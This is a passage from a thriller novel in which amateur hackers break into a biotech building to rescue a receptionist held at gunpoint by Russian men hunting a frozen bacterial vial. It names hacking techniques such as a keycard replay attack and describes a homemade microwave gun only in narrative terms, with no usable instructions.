“Open it.”

She reluctantly grabbed the handle of the deep-freezer’s massive metal door and yanked. The door’s rubber gasket released its airtight seal, letting the cryogenic air spill into the room. Standing in front of the open door felt like being stabbed with thousands of tiny needle-sharp shards of ice.

“You know, I really am here for pickup,” the man said casually. “Your friend Julie — you know Julie, yes? — She left something here, that is really better left with someone else. Now, about you, I’m thinking maybe you could be useful. You want to be useful, yes?”

“What do you want?” Tina croaked out, shivering.

“Tell me,” said the crew-cut man with the Russian accent and the small revolver, “what the fuck is an Eppendorf tube?”

SATISH SMACKED THE CELLPHONE out of Mike’s hand before he could dial 9-1-1. “No cops!” he commanded.

“We have to, Satish!” said Mike. “Look at this crazy shit. What, are we just going to sit here? We have to call the cops!”

“Yeah, right,” Satish mocked. “And tell them what, exactly? ‘Oh, hi, me and my Dungeons and Dragons buddies were just out here hacking into this company, when we saw some scary stuff going on through their video feed that we happened to crack.’ Have you forgotten that what we’re doing out here is illegal too?”

“You’re being paranoid,” said Mike.

“No, I’m being *real*,” Satish fired back. “We’re not playing some video game here, Mike! We don’t get to screw up. We don’t get to undo. We don’t get save-points. If we get hauled off in the back of a squad car, we don’t get to see some menu screen saying, ‘Mission Failed. Retry Level?’ And if there’s something we didn’t consider, some factor that we don’t account for and didn’t even know we’re *supposed* to account for, we’re all completely fucked, permanently, forever. There’s no Control-Z, there’s no Reload. We don’t get to say, ‘Okay well next time we just won’t do that,’ because there won’t *be* a next time.”

“All I’m talking about here is calling the cops,” said Mike.

“And all *I’m* talking about,” Satish countered, “is erring on the side of caution. I’m talking about minding our own fucking business.”

Jason and Danny were watching the events in the cold-storage room on Danny’s laptop. They could hear Satish’s and Mike’s conversation from outside the car through the open window. “He’s talking about unknown unknowns,” Jason said to them with a slow nod. “And minimization of risk profile.” Jason looked at the laptop screen with a puckered frown. “He’s right. No cops. There’s too much at stake for us.”

Mike shook his head. “But that girl in there is—”

“Is not our fucking problem!” Satish insisted.

“So what do you suggest we do?” demanded Mike.

“Nothing,” said Satish dismissively. “There’s nothing we *can* do. Not without risking our own necks.”

“So, what?” Mike shot back. “We just sit here watching on our laptops like a bunch of useless shitballs?”

“Uh, maybe you haven’t noticed, but this team *is* a bunch of useless shitballs,” said Satish. “And, you know, with a stupid asshole like Danny in charge, it’s not even really a surprise. The guy hand-holds you through a bunch of script kiddie attacks, and then sucks your dicks and tells you you’re all awesome brilliant hackers. And that’s fine, up to the point at which being a dumbass can get you in real trouble — fines and jail for you, deportation for me. And we’re at that point now. So, yes, Mike, all we do is we sit here. Because the alternative is taking a chance of completely fucking up the entire rest of your life. And it’s all because you don’t want to feel like a ‘useless shitball’? Boo fucking hoo. There’s worse things in this world than feeling useless.”

Danny heard Satish’s voice through the car window. Satish’s words hit Danny like a claw around his throat. He shoved his laptop aside on the asphalt and stood up, dizzy, choking, his mind swirling with rage and hate. Hate at the world, hate at himself, hate at his past, hate at his present, hate at his thousands of unrealized could-have-beens.

“No, Satish,” said Danny. “There isn’t.”

“Danny, just shut the fuck up,” said Satish. “Seriously. Nobody gives a shit about anything you have to say.”

“Okay, *that’s it!*” said Danny.

In his brain, something popped. Danny’s vision of the world suddenly shifted, simplified. An invigorating feeling washed over him in an instant. He felt like he had been seeing the world through a dirty, grimy window, and somebody just sprayed a high-pressure water hose through his head. The muck of apprehension and self-doubt that clouded his mind dissolved in a hot, cleansing spray of adrenaline and testosterone. The world was suddenly a very straightforward place, with a clear, simple task that needed to get done: Satish seriously needed a few teeth busted in.

Danny threw open the door of the Navigator and grabbed Satish’s arm with both hands. Satish tried to pull his arm away from him, but Danny’s grip was tight enough that Satish succeeded only in pulling himself closer. Danny responded by quickly twisting Satish’s arm almost to the point of breaking. Satish howled in pain and, amid a torrent of curses, hopped out of the car.

Danny wasted no time in grabbing him by his shoulders, slamming him up against the SUV, and drawing back his fist in preparation for a blow straight to the face.

Danny held his fist wound back, his other hand pressing Satish by the shoulder and neck against the body of the Navigator. He had never hit a grown man before. He would be happy to let Satish be his first.

Satish's face was turned and flinching, his arms raised limply in front of him. He batted a bit in Danny's direction, but he wasn't actually fighting back. He wriggled a little against the press of Danny's left hand, a press he could easily slip out of if he would just put some force into it. But Satish wasn't taking any decisive actions, neither to fight nor to block nor to escape. He just stood there, holding up his arms loosely and ineffectually.

Danny didn't punch him. Disgusted, he pushed himself away from Satish and the Navigator.

"Christ," said Danny. "Do you have any idea how pathetic you are?"

"You're a complete fucking nutcase!" Satish said. His bravado was unconvincing.

"And *you're* a complete fucking loser," Danny retorted. "You talk nonstop about how everybody around you is so much dumber than you, but when it comes time to put your smarts into action, what do you do? Jack shit. All you ever do is sit around playing Xbox and your fucking fantasy role-playing games, wanking about being some imaginary hero in a far-off land. But when the real world gives you a chance to actually do something that matters, all you use that brain and imagination for is to make up retarded excuses about why *not* to go for it."

“Fuck you, man!” Satish said with a quavering voice. “You don’t know what you’re talking about!”

“Prove me wrong, then!” Danny stepped up to Satish with his arms loose and wide out. “Come on! Show me you can do *anything* other than talk. Go ahead.”

Satish squirmed away. “I don’t have to prove anything to you!” he whimpered.

Danny snorted with contempt. “You just did.”

A moment of silence passed.

Danny noticed Mike and Moshen poking their heads out the door of the Navigator. Their jaws were hanging open.

He looked at his laptop. At the Tungsten building. At the men in his team.

“Guys, we’re still here to do a job,” he said to them. “And instead of bailing out, I think we can use this situation as an opportunity. We’re here to steal Tungsten’s secrets, right? Well, those two guys don’t look like they’re here for the girl. They’re here for something else. Something in that freezer. And whatever it is, it’s obviously valuable. I say we take it.”

Jason asked cautiously, “What do you mean, Danny? Just go in and grab it?”

“Yes,” Danny said simply. “And get the girl out of there, too. And do it all without calling the cops.”

“Danny, have you lost your mind?” Jason said. “They’ll *kill you*.”

Danny shrugged. “I’d rather die doing something than live doing nothing.”

Jason stared at him aghast.

“Look, don’t worry,” said Danny. “I don’t plan to get myself killed. I can out-manuever them in there.”

“How?” the middle-aged financier asked. “They’re obviously very well-trained. And they have guns.”

“We won’t be unarmed,” Danny assured. “But I’m not talking about weapons. I’m talking about situational awareness. It’s close-quarters in there, and we’ve got a massive tactical advantage.”

Mike nodded his big furry head. “The cameras. You’re talking about going all Splinter Cell on them, right? Covert ops?”

“Right,” said Danny. “We can see everything going on in there. They can’t. And that information asymmetry means that *we* have the upper hand. At Claymore, I built Navy communication grids. I’ve got college buddies at companies like Palantir and MITRE, who are getting seriously rich right now building data-mining tools for the CIA and the Department of Homeland Security. Modern battlefields are digital. During both Iraq wars, what’s the first thing the US Army did? Knocked out the enemy computer networks. During the riots in Iran and

Libya and Syria, the rulers disabled civilian access to cellphones. Information, you see, is what the military refers to as a ‘force multiplier’. Yes, those guys in there have the guns. But the information? That, gentlemen, is our game.”

“I want in,” said Mike. He hopped out of the car and went to stand by Danny.

“Do you have a plan, Danny?” asked Jason.

“Not yet,” he said. He reached down to retrieve his laptop from the asphalt. “First thing we need to do,” he said, “is find a way into the building...”

Satish said grudgingly, “I can get you in.”

“You can?” said Danny.

“Yeah,” Satish answered. He was still standing with his back against the Navigator, sulking. “I think you’re completely insane, but if you’ve decided to go get yourself killed then I guess I can help.” He fiddled for a minute with his laptop. “Here, Danny. Look at the outside camera. Zoom in on the keycard reader.”

Danny pulled up the feed on his laptop. As he watched, the green light popped on to indicate the door was unlocked. It stayed lit for several seconds.

“How’d you do that?” Danny said quickly.

“A replay attack,” said Satish. “When that guy opened the door, the keycard reader sent a UDP packet to an authentication database, which replied with a datagram to unlock the door. I saw the whole thing on my packet sniff. I just sent the keycard reader an exact copy of the authorization message.”

“Neat!” said Danny. “Thank you, Satish. Now all we need is a way to get that guy away from the front door. Let me think...”

He stood staring at the ground. His body remained frozen, but his eyes darted rapidly in spastic patterns; his lips writhed with soundless mumbling; his fingers twitched as though drawing diagrams in an ethereal notebook.

After a minute of fidgety silence, he looked up abruptly. “Jason. You’re part of this little Dungeons and Dragons group, right? How are your role-playing skills?”

“Uhh... pretty good, I guess...?” Jason said.

“We’ll need them. And we’ll need your car. Do you have anything we can use as a weapon? A flare gun, maybe? Or a lug wrench?”

“That’s a big metal tool for changing tires, right? Looks like a plus sign?” Jason asked. “It’s under the spare tire in the back.”

Danny turned his head to the SUV. “Mike, you said you play hockey, right? Think you can handle beating someone into submission with a metal stick?”

Mike grinned enthusiastically.

“Moshen,” said Danny. “Get out of the car. You and Satish will stay right here.”

“What about you, Danny?” asked Jason.

“Me? I’ll be going in with *this*.”

He opened the passenger door of the Navigator and grabbed his Claymore tote bag filled with metal and plastic parts. He began pulling them out one by one, starting with the piece that looked like a narrow homemade bullhorn, the hollow metal tube with the pistol grip and the large rubber-coated metal blocks on the back.

The men watched him as he drew more parts from the bag.

After the bullhorn came a row of plastic blocks, each as big as a Rubik’s Cube, joined into a line with duct tape. Next came a group of eight heavy blue cylinders, each one the size and shape of a tallboy beer can, arranged like an eight-pack and held together with duct tape and stiff wire. Each component was strung on thick black and red cables, the junction points buried under a slather of caulk and epoxy.

A two-foot-long white hollow plastic tube, about four inches wide with slots and grooves all along its length, stuck out from the top of the bag. Danny grabbed it and began screwing it onto the back of the horn.

“The hell’s that thing?” asked Moshen.

“Well,” said Danny as he worked, “this part in front is a magnetron that I ‘borrowed’ from a battleship radar system at Naval Base Kitsap.” He took the eight-pack of heavy blue cylinders and secured it to the back of the white tube with a few loops of stiff wire. “*This* is a bank of high-voltage ultracapacitors. They were invented pretty recently, for running hybrid cars. They can pump out almost a megajoule per second. And *this*...” He Velcro’ed the plastic cubes along the length of the tube like the spine of some ancient reptilian creature. “...is a set of relays for switching between serial charge and parallel discharge...”

He pulled out a slotted metal box with air vents and a three-prong power socket. “This is the power conversion module,” Danny said as he attached it to the white tube with twisty-ties. “And finally, *this*...” He pulled out a stack of laptop batteries. “...is a stack of laptop batteries.” The stack was about a dozen batteries high, all duct-taped together with their metal contacts tethered to one another with coils of cable. Danny snapped it onto the PVC tube with several small karabiners.

He stood up and held the device in both hands. Fully assembled, it was about four feet long. With the flick of a few switches, tiny lights lit up from inside the metal power box and near the capacitor bank. Small fans whirled to life inside the power supply box. The device emitted a faint high-pitched whine that rose until it passed above the range of human hearing.

He slung the end of the PVC tube, with its assortment of duct-taped and twisty-tied components, over his right shoulder. He held the pistol grip of the magnetron horn with his right hand, and let a giant smug grin consume his face.

The men gawked. “Seriously, Danny, what is that thing?” demanded Jason.

Danny replied coyly, “It’s just a... A flashlight.”

“That’s one seriously elaborate flashlight,” said Jason.

“It’s very, very bright,” said Danny, and inhaled sharply through his nose. “So listen up, comrades. Here’s what’s going to happen...”

10

THE BLACK LINCOLN NAVIGATOR wound awkwardly around Tungsten's parking lot towards the building's entrance, driving slowly and weaving back and forth.

The man standing by the Tungsten entrance studied the oddly-moving SUV apprehensively as it approached.

The car came to a stop far from the entrance. The driver's-side window rolled down, revealing a middle-aged man with gelled gray hair behind the wheel, illuminated by the light pouring through the glass doors of Tungsten's brightly-lit lobby.

Jason looked weak and profoundly unwell. His head drooped, his mouth hung open, his eyes didn't focus. He tried to speak, but all that came out was a raspy whisper.

The man at the entrance said something into his Bluetooth headset and then barked at him, “What do you want?”

Jason made an effort to speak louder. “Is this the Weisenbaum Clinic?” he asked slowly in a hoarse, nasal voice.

The man made a brushing motion with his free hand. “No. Go away.”

“It’s supposed to be right here,” Jason whined. “I see the big ‘W’ on the door.”

“This isn’t a clinic,” the man barked.

“Please, it’s very important that I get to the Weisenbaum Clinic,” Jason said, drawing out and enunciating each word. “I have an urgent medical condition. I need to go see Dr. Fenderbergermeier right away.”

“Dr. who?” the man asked suspiciously.

“Dr. Fenderbergermeier,” Jason rasped. “He works the night shift at the Weisenbaum Clinic...” His speech degenerated into a series of wheezes and coughs.

“Can’t help you, sorry,” said the man.

“Please, I just need the address. Can you...” He coughed and wheezed again. “Can you come closer please? It hurts for me to talk so loud.”

With an exasperated sigh, the man took a few steps toward the SUV.

“I know the phone number to the clinic,” Jason whispered slowly and breathily, “but my cellular telephone is broken. Can I use yours, maybe?”

“No.”

“Oh, okay,” Jason said, disappointed. He looked deathly tired. “Then maybe you can make a call for me? The clinic is nearby. I just need their address.”

“If I do, will you go away?”

“Yes.”

The man said something in Russian into his headset, his tone of annoyance crossing the language barrier. He reached into his pocket and pulled out his cellphone. “Okay, give me the number,” he grumbled.

“Four two five,” Jason said slowly, “Eight six five... Eight six five two? No, wait, eight six five three...”

“Eight six five eight six five two?” said the man.

“No, sorry, eight six five is just the first part. I was just repeating it to make sure you got it. Four two five, eight six five...”

“Four two five, eight six five...” repeated the man as he dialed.

“Right. Four two... Oh, you know what? I’m sorry. That’s my daughter’s number. The one to the clinic is four two five, eight five three... Wait, eight five or eight six...?”

The man growled in frustration.

He was spending so much concentration trying to dial Jason’s number that he didn’t notice the green light pop on above the keycard reader on the big glass doors behind him.

Nor did he notice Mike tiptoeing his way along the wall, making his way silently toward the entrance.

Until Mike finally ducked through the door.

The whole area in front of the entrance was illuminated by the light coming from the lobby. Mike had to step into the light in order to pass through the large glass doors. His shadow swept across the man and the black SUV.

Danny cursed silently. He should’ve anticipated that. He hadn’t.

“What the fuck!” the man said. He turned his head just in time to see Mike heading into the hallway on the other side of the lobby.

That’s when the man’s cellphone exploded.

The phone jumped in his hand with a loud “*crack!*” A shower of white sparks burst inside the phone, spilling out from the sides and from the gaps between the buttons. Arcs of electricity flashed across its face. The man yelped and dropped it to the ground.

Jason slammed on the gas. The SUV’s tires squealed in place before hurling the car forward. Jason steered a twisting, zigzagging pattern back out to the street.

The man’s head swiveled rapidly between the car and the building entrance. Turning his face toward the car, he let his jacket fall to the ground and drew the long barrel of the semiautomatic handgun with silencer up to shoulder height. He held the gun with both hands and took aim.

He pulled the trigger several times. The gun didn’t make a “*bang!*” It did, however, make a popping noise, together with the clacking sound of interlocking spring-loaded metal parts snapping into place, like a very large stapler. Even with the silencer, the report from the firearm was quite loud.

“Fuck!” screamed Jason into the hands-free conference call in progress on his cellphone. A bullet glanced off of the rear driver’s side window, leaving a deep scar in the glass, just as Jason cleared the parking lot. The car lurched as he made a sharp turn onto the street, bolting away from the building.

Having lost Jason’s SUV, the man with the silenced semiautomatic turned toward the Tungsten entrance. He thrust his hip toward the card-reader. The little green light popped on.

“He’s heading in,” said Moshen on the conference call.

Danny crouched behind the corner of the Tungsten building, out of sight from the main entrance. Beside him, his contraption whined faintly with a rising high-pitched tone, its tiny lights glowing red. “Mike, he’s coming for you,” Danny said into his cellphone in his left hand. “Make sure he follows you to the stockroom. Moshen, keep him safe.”

“Aye aye,” said Moshen. “Mike, Satish has you on camera, and I’ve got the guy after you. He’s in a hallway about fifty feet behind you.”

Mike’s voice asked, “How do I get to the stockroom from here?”

“End of the hall,” Moshen directed. “Make a left...”

On the cellular conference call, Danny heard Mike running through Tungsten’s hallways. Moshen guided him, always keeping him one turn ahead of his pursuer. A distant *pop-clack!* occasionally punctuated the dialog.

“Now Mike, remember,” said Danny. “There’s a keycard scanner on the outside of the door to the stockroom. So once you get into the stockroom, you can’t get back into the Tungsten offices without a keycard. The only way out of that stockroom is through the fire door near the loading dock.”

Moshen added, “He’s walking slowly down the hall toward you with his gun drawn. Stay out of sight, Mike.”

The conference call carried the sound of a door opening. “I’m in the stockroom,” said Mike. “It’s a huge room packed with shelves of junk.”

Danny caught himself nibbling on his fingernails. “Jason. Where are you?”

“Down the street,” said Jason’s voice. “There’s bullet holes in my car. The repairs are coming out of your pay.”

“Come back here,” said Danny. “Quickly. Get to the loading dock.”

Danny saw headlights approaching on the road beyond the parking lot. Jason’s SUV came back into view and proceeded back towards the Tungsten building.

“Mike!” said Moshen. “I see the guy coming up to the stockroom door!”

Danny watched Jason’s SUV roll past the parking lot toward the back of the building. “Jason’s not in position yet,” Danny said into the cellphone. “Mike, can you keep him busy in the stockroom for a few seconds?”

Danny heard Mike grunting and straining. The sound was followed by a few popping, clacking shots from the silenced handgun.

“Holy shit!” yelled Danny. “Mike! Mike, are you alright? What’s happening?”

Satish's voice came across the call. "He looks fine. He tried to push over one of the shelves of inventory. The guy busted in on him and opened fire, but he managed to duck behind some old junk. He's hiding behind an X-ray machine or something."

"What's the guy doing?" Danny asked.

Moshen answered, "He's crouched and ready, both hands on his gun, about thirty feet away from Mike. It looks like he doesn't know where Mike is."

"Mike, did you hear that?" asked Danny.

Moshen replied, "He's nodding Yes, Danny. He's holding the lug wrench in one hand and his cellphone in the other. He's putting them down on the floor and picking up something from a shelf near him... It looks like a weird old computer... He's slowly sticking it out from the machine he's hiding behind... oh shit!"

"What?" Danny demanded.

"He shot it out of his hand!"

Danny cursed under his breath. "Guys, I'm going in," he said as he walked to the entrance. "Satish, the front door, please."

The green light popped on above the card reader. Danny entered the building and hustled down the corridors toward the stockroom, keeping his cellphone pressed to his ear while carrying his contraption. Moshen's voice guided him through the

dark, unfamiliar office hallways, past rooms of strange apparatuses and doors marked with ominous warnings and hazard symbols. Even at night, Tungsten was far from still. The long empty corridors carried the whirring of robotic testing machinery, the faint hum of ventilation ducts, the bubbling of liquid distillation systems. The building itself felt oddly like a living thing.

Jason's voice came across the air. "I'm in position, Danny."

Satish said, "Mike's pinned in the stockroom."

Mike whispered into the call, "Moshen. You said he's about thirty feet away from me, right?"

"Yeah," said Moshen.

Mike said very faintly, "Here... I'm going to hold the lug wrench just a little bit above my head and use it for pointing. Do you see it?" His voice, barely audible, sounded breathy and distorted. Danny realized Mike was probably cupping his hand over his mouth while speaking into his cellphone.

"Yeah," said Moshen.

"Okay," Mike whispered. "Now I'm going to slowly rotate the lug wrench. Tell me when it's pointed in his direction, okay?"

"Yeah," said Moshen. "...A little more... There."

Danny arrived at the hallway outside the stockroom. Before him was a large metal door. Embedded in the door was a small glass window, no bigger than a person's face, positioned just barely high enough to see through. The stockroom's low fluorescent emergency lights made the small square of glass emit a faint sickly yellow shine at the end of the dim hallway. On the wall, a foot away from the door, was a glowing green button attached to a thin electrical cable conduit that ran up to the ceiling. The cable split off and connected to a large block that pressed up against a silvery rectangle at the top of the door — the electromagnet and armature plate of a magnetic lock system.

"Mike, I'm right outside," Danny said into the cellphone. "What are you doing?"

"I'm gonna throw this thing at him," Mike said very quietly.

"What thing?" asked Danny.

"I'm not sure," said Mike. "It looks kind of like an old computer, but it's all round and purple and it says 'SGI O2+' on the front."

"Dude!" said Danny. "In the late '90s, that thing used to be the most popular 3D rendering workstation on the consumer market!"

"Yeah well," said Mike, "let's see if it makes a good projectile weapon."

Both through the cellphone and through the door of the stockroom, Danny heard Mike give a mighty grunt, followed by a crashing noise and the “*pop-clack!*” of the silenced semiautomatic. On the far side of the stockroom, the metal bar on the fire door released its latch as Mike body-checked his way through the exit.

Jason’s voice announced, “Mike, you’re okay!” It sounded distant and slightly echoing. Jason’s voice was being picked up both by his own cellphone and by Mike’s.

“Punch it!” yelled Mike, with the same distant, oddly reverberating effect.

Danny heard a crunching thud as Jason backed his SUV up against the fire exit. Jason had positioned his car about three feet away from the door, and had been waiting to see Mike run out. The moment Mike cleared the door, Jason slammed the back of his car against it and engaged the parking brake. The fire door opened outward, so the SUV served as a very large, very expensive, very effective doorstop.

“Good job, Mike,” said Danny. “Now make your way around the outside of the building, get back in through the front doors, and come on back here. Fast. I need you for backup.”

“On my way,” said Mike.

From inside the stockroom, Danny could hear the man throwing himself against the fire exit in a useless attempt to push away the SUV. The “*pop-clack!*” of the gun sounded a few times, then silence.

Danny waited tensely in the dim hallway outside the stockroom door.

“Is he coming back this way yet?” asked Danny.

“Not yet,” said Moshen. “Good news is you have an extra second or two. Bad news is, that’s because he’s reloading.”

“Satish,” said Danny. “Were you able to DoS the stockroom keycard reader?”

“Nope,” said Satish. “Nobody’s opened it from the other side yet. I can’t tell what its IP address is.”

Danny gulped. “What about disabling the authentication server?”

“No on that one, too. I tried poisoning its ARP table but it’s on a different network segment.”

“Fuck!” Danny spat. He steeled himself for their backup-backup-backup plan.

“Moshen, listen. This part is very important. Where exactly is the keycard reader relative to the door?”

“It’s right on the other side of that glowing green button,” answered Moshen.

“Oh. Right. That makes sense,” said Danny. He put the end of his device up against the wall, just under the button that would open the large metal stockroom door. He flicked a switch on the device’s power unit. Small red and green indicator LEDs blinked on, looking like sparse Christmas-tree lights in the unlit hallway.

The wall was made of six inches’ worth of drywall, wood, and foam insulation — all of which was almost completely transparent to microwaves.

“Now, Moshen,” said Danny, “tell me the exact second he’s about to use the keycard. Do *not* let him actually swipe it. Timing is crucial. Too late, and the keycard reader will open the door. Too early, and the card will be far enough away to survive the shot. And it takes over 30 seconds for this thing to recharge.”

“He’s coming up to the door...” said Moshen.

Danny heard a bit of movement on the other side.

“Now!” yelled Moshen.

Danny pulled the trigger.

The device gave little indication of firing. The mechanical arms of the high-power relays all clicked simultaneously against their contacts inside the spine of plastic cubes. The pulsed discharge of current from the capacitor bank to the magnetron sent a soft low-pitched “*bonk!*” through the air around it. Lights along the capacitor bank flipped from green to red.

On the other side of the wall, Danny heard a snapping, cracking sound, followed by a man screaming in shocked frustration and unleashing a long stream of Russian curse words. The man pulled in vain at the door handle on the other side. The door shook slightly but refusing to yield.

Danny held his device triumphantly over his shoulder. Its fans whirled to cool it from its recent shot. The capacitor bank began to recharge, emitting a high whine that gradually rose until passing beyond the range of human hearing.

A round shadow eclipsed the sickly yellow glow of the small window embedded in the door. In the dim light, Danny could just barely make out the man’s face, looking at him through the glass with eyes of fury. The man’s cursing fell silent. He simply stared at Danny in impotent rage.

Danny smiled. He gave the man a smug shrug, waved goodbye, and turned around to casually saunter away.

He had barely made it two steps when he heard a “*pop-clack!*”, coupled with the sound of shattering glass.

Danny turned to look.

All that remained of the small square window was a few jagged shards. The man drew his gun up to the shot-out window. The end of the silencer came to rest upon a crag of broken glass. The man looked down the sights and took aim.

Danny felt the world recede in slow motion. The accelerating thumping of his own pulse drowned out all other sound in his ears.

He propelled himself away from the door, holding onto his unwieldy weapon over his shoulder and letting its mass swing down along his back. He only needed to take seven or eight sprinting steps to make it to an intersection in the hallway, but in those steps he felt like he was frozen in mid-air. A bullet zinged past him — Danny saw nothing, but felt the air crack against his skin in the projectile's supersonic wake. He twisted his torso to expose only his side, rather than his back, to the gunfire. Another bullet zoomed by, so close he could feel its heat against his back, across his left shoulder blade.

The adjoining corridor drew nearer. He leaped and rolled into the hallway, his weapon smacking against the floor as he pushed his body away from the line of fire. A bullet hit the floor near his feet. He took several crouching, stumbling steps deeper into the adjoining hallway as another bullet hit the wall near him, leaving a dusty crater.

He looked around. He was out of the line of fire. From around the bend, he could hear the man trapped in the stockroom banging against the door and cursing in Russian. The bullets had stopped.

But he wasn't safe yet.

On the other end of the dark hallway into which he had just fled, Danny saw the shape of a large man. The shape was coming toward him.

He pushed himself back up from the floor. His left shoulder stung under the strain.

He grabbed his weapon. Most of the machine's mass was at its back end, where its eight-pack of blue ultracapacitors was attached. Danny held it in both hands and raised it like a sledgehammer, ready to smash the capacitor bank across the face of his approaching attacker. He let out a mighty yell, and threw himself at the figure in the dark.

Somewhere underneath the din of his heartbeat and his own battle-cry, sounding like it was underwater, he heard Mike's voice yell, "Danny!" The voice didn't come through a cellphone, but from the figure in front of him.

Danny stopped in mid-lunge as recognition came to him through his combat panic.

"Mike!" Danny said with a relieved smile.

He exhaled deeply. His head swirled as the adrenaline rush faded away. He was safe.

“Danny,” Mike said, breathing heavy. “Sorry I couldn’t make it here any faster.”

“Holy shit, Mike, I am so fucking happy to see you right now.” Danny retrieved his cellphone from the hallway floor. His gun was a little banged up — the power converter had gotten slightly dented and the row of relays had come loose from their Velcro moorings — but there didn’t seem to be any functional damage.

On the conference call, Jason asked, “Are you guys okay?”

“Yeah,” Danny said, dizzy. “Mike and I are both winded. I think I landed wrong on my shoulder. Stings a little.” He rolled his left arm around. “Seems to be okay though. No time to rest; we’ve got to get to that freezer room. This next part’s going to be tricky...”

“I was thinking about that, Danny,” said Jason. “You might want to grab a lab coat, if you see one around. And a facemask. That way, you’ll —”

His words were muffled under a low, thundering boom that resounded through the building. The echoes of a distant explosion rumbled down Tungsten’s corridors, permeating the walls and flooding the rooms like a thick clear syrup of long, wide sound waves.

“Camera crew!” Danny gasped. “What the hell was that?”

Moshen replied slowly, "That was the other guy's gun."

"The little tiny silver thing?" asked Mike incredulously.

"The one that's pointed at the girl?" Danny asked quickly.

"She tried to fight back," Moshen replied.

Danny gasped. "Is she..."

"Get your butts over there fast," Moshen directed.

Danny gulped, and exchanged a nod of affirmation with Mike. The two men set off down the hallway.

The index finger of Danny's left hand very subtly twitched, subconsciously reaching for Control-S on a nonexistent keyboard. As Danny proceeded with Mike through the dim corridors, he caught himself glancing into rooms craving the sight of a prominently placed typewriter, or an oddly shiny audiocassette, or perhaps just a palm-sized glowing red square embedded in a wall. But he knew that, on this level, he would find no save-points.

11

INSIDE THE ULTRA LOW FREEZER were half a dozen rack shelves. On each shelf were half a dozen long, deep boxes made of metal and Styrofoam, built to slide out like drawers. Inside each box were two dozen vials, each no bigger than a finger. And one of these vials was the one that the man with the gun was looking for.

“I n-need you b-be more s-piffic,” Tina said through a shivering jaw as she closed the massive metal door yet again.

The man sat on a desk between her and the exit. “I already told you. It’s a small clear plastic snap-top tube with a cone-shaped bottom.” He kept his revolver pointed at her absentmindedly, his attention divided between her and his cellphone.

“You just described *every* vial in there,” she said as she peeled off the thick black acrylic gloves that protected her fingers from frostbite.

Ignoring her, the man tapped his Bluetooth headset and fiddled with his cellphone. *“Allyo? Allyo, Leonya? Gdye ti, durak?”*

“Is everything okay?” she asked.

“My partner isn’t answering,” he said. Catching himself, he added, “But this is not your business. Where is that fucking tube?”

“I have no idea,” Tina said. “Look, there’s hundreds of vials in deep-freeze. They all look exactly the same. I have no clue how the lab staff keeps track of which one goes where. How did you expect to know which vial’s the right one, anyway?”

While still poking at his phone, he replied, “There is a smiley face on the side.”

“The only way I can find that is by checking each vial one by one,” Tina said weakly.

The man rolled his eyes. “Just start dumping boxes out onto the floor.”

“You can’t do that,” she said. “The brown goo in the vials is bacteria frozen in glycerol. They’re living things. They can’t live in the suspension. The glycerol protects them from ice when they get frozen, but they need water and food. If they come out of suspended animation in the glycerol, they might die.”

The man nodded. “That would be very bad. See, I knew you would be useful!”

“No. I’m not. I really can’t help you. I’m sorry,” she insisted. “Please. I don’t know what’s in this vial that’s so special to you. I’m just the receptionist, okay? Tungsten does *not* pay me enough for this. How about I just walk out of here, I’ll get my purse from the front, I’ll drive away, go home, and we’ll both say none of this ever happened? I’m not going to call the cops, I’m not going to remember your face, I’m not going to have any idea about you or Julie or about anything. Okay? Please, I swear to God, I want nothing to do with this.”

“I have better idea,” he said dismissively. “How about you shut the hell up and get back to looking for that tube?”

Tina looked at the cryogenic storage unit and winced.

The freezer was attached to a monitoring terminal, a small ancient dirty beige computer with a ridiculous thick clunky keyboard. The terminal kept track of the environment inside the freezer. “TEMPERATURE: 200.7K -72.4oC -98.3oF”, its screen reported in blocky green letters.

“Can I at least borrow your jacket?” she asked.

“My jacket? Lady, this is Italian custom-made lambskin leather.”

“So that’s a no, then?” Tina glanced back and forth from the freezer to the terminal. Her body began preemptively shivering as she pulled the gloves back onto her hands. A yank of the handle released the cryogenic storage unit’s seal, and she again found herself standing in a pale cloud of stabbing cold mist. The

freezer's loud pumps whirled with effort to keep the interior frigid in spite of the open door. The monitoring terminal's temperature readout fluctuated by a few tenths of a degree. Tina quickly reached for a case of vials and began pulling it from its rack shelf as quickly as her shaking hands would allow.

From the corner of her eye, she noticed a change on the terminal screen. Beneath the temperature readout, the monitor now displayed, "GREELEY, JAMES N". It was the name of one of the geneticists.

With a hopeful gasp, she slid the box back into its position on the rack. On the screen, the name disappeared.

She tentatively pulled another box halfway out. On the monitoring terminal, green blocky text said, "LEVIN, SHANA". Another one of the researchers.

Tina pushed the box back into place and let out a whimper of relief.

"What the hell are you doing?" the man grunted. "Wasting time?"

"The boxes are labeled electronically!" Tina said as she pulled out more cases one at a time. "They're organized by staff assignment!" She worked her way systematically across the rows, keeping her eyes on the monitoring terminal as names appeared and disappeared on the screen. There seemed to be no order dictating which boxes were assigned to which researchers — many researchers

had multiple boxes, spread seemingly at random inside the storage unit. But after a minute of perseverance, gritting her teeth against the cold, Tina finally pulled a case that caused the monitor to display, “YEN, JULIE”.

Tina wasted no time in taking the box out of the freezer. She set it down on a nearby desk and slammed the freezer shut to keep the painfully frigid air from spilling out. She popped the lid open and looked at the vials inside.

One of the vials had visibly less frost on its cap than the others. It had clearly been withdrawn from the box much more frequently than the rest.

Tina carefully drew the tube out of its slot. It was less than two inches long with a conical bottom, filled with a pale brown substance that looked frozen solid. It bore no label, but a small smiley face was drawn with a black felt-tip pen on its translucent round surface. She let out a long, shaky, cathartic sigh.

The Russian perked up as he saw her place the tube down on the desk and pull off the thermal gloves.

“Here. Take it,” she said, backing away from the desk.

The Russian eagerly stepped forward. He slid his cellphone into his jacket pocket and picked up the tube with the tips of his fingers. His leather gloves gave him partial protection from the vial’s necrotizing temperature.

“Are we done here?” Tina asked.

The man grinned and held the vial up in front of his face, examining it with delight. “Yes. I think we are.”

“Good,” she said. “Goodbye.” She circled around the far side of the desk and made a bee-line for the door. She knew she was leaving the box of Julie’s intern projects unrefrigerated on the desk. Those *E. coli* strains would thaw and they’d all be dead by morning. Oh well.

She didn’t make it to the door. A cold leather-gloved hand clamped firmly around her wrist and jerked her back.

“No!” she shouted.

“Not so fast, young lady.” He held her wrist with his left hand. Both the gun and the tube were in his right.

“What!” she protested. “What do you want! Let me go!”

“You’re really quite useful, you know,” he said.

“You said we’re done here!” She tried to pull her wrist back. He wouldn’t release her.

“We are done *here*,” repeated the man. “But... I have more use for you...”

Tina felt her stomach lurch. “Fuck you, *no*!” she screamed, and fought against his grip with all her might. But he was far too strong.

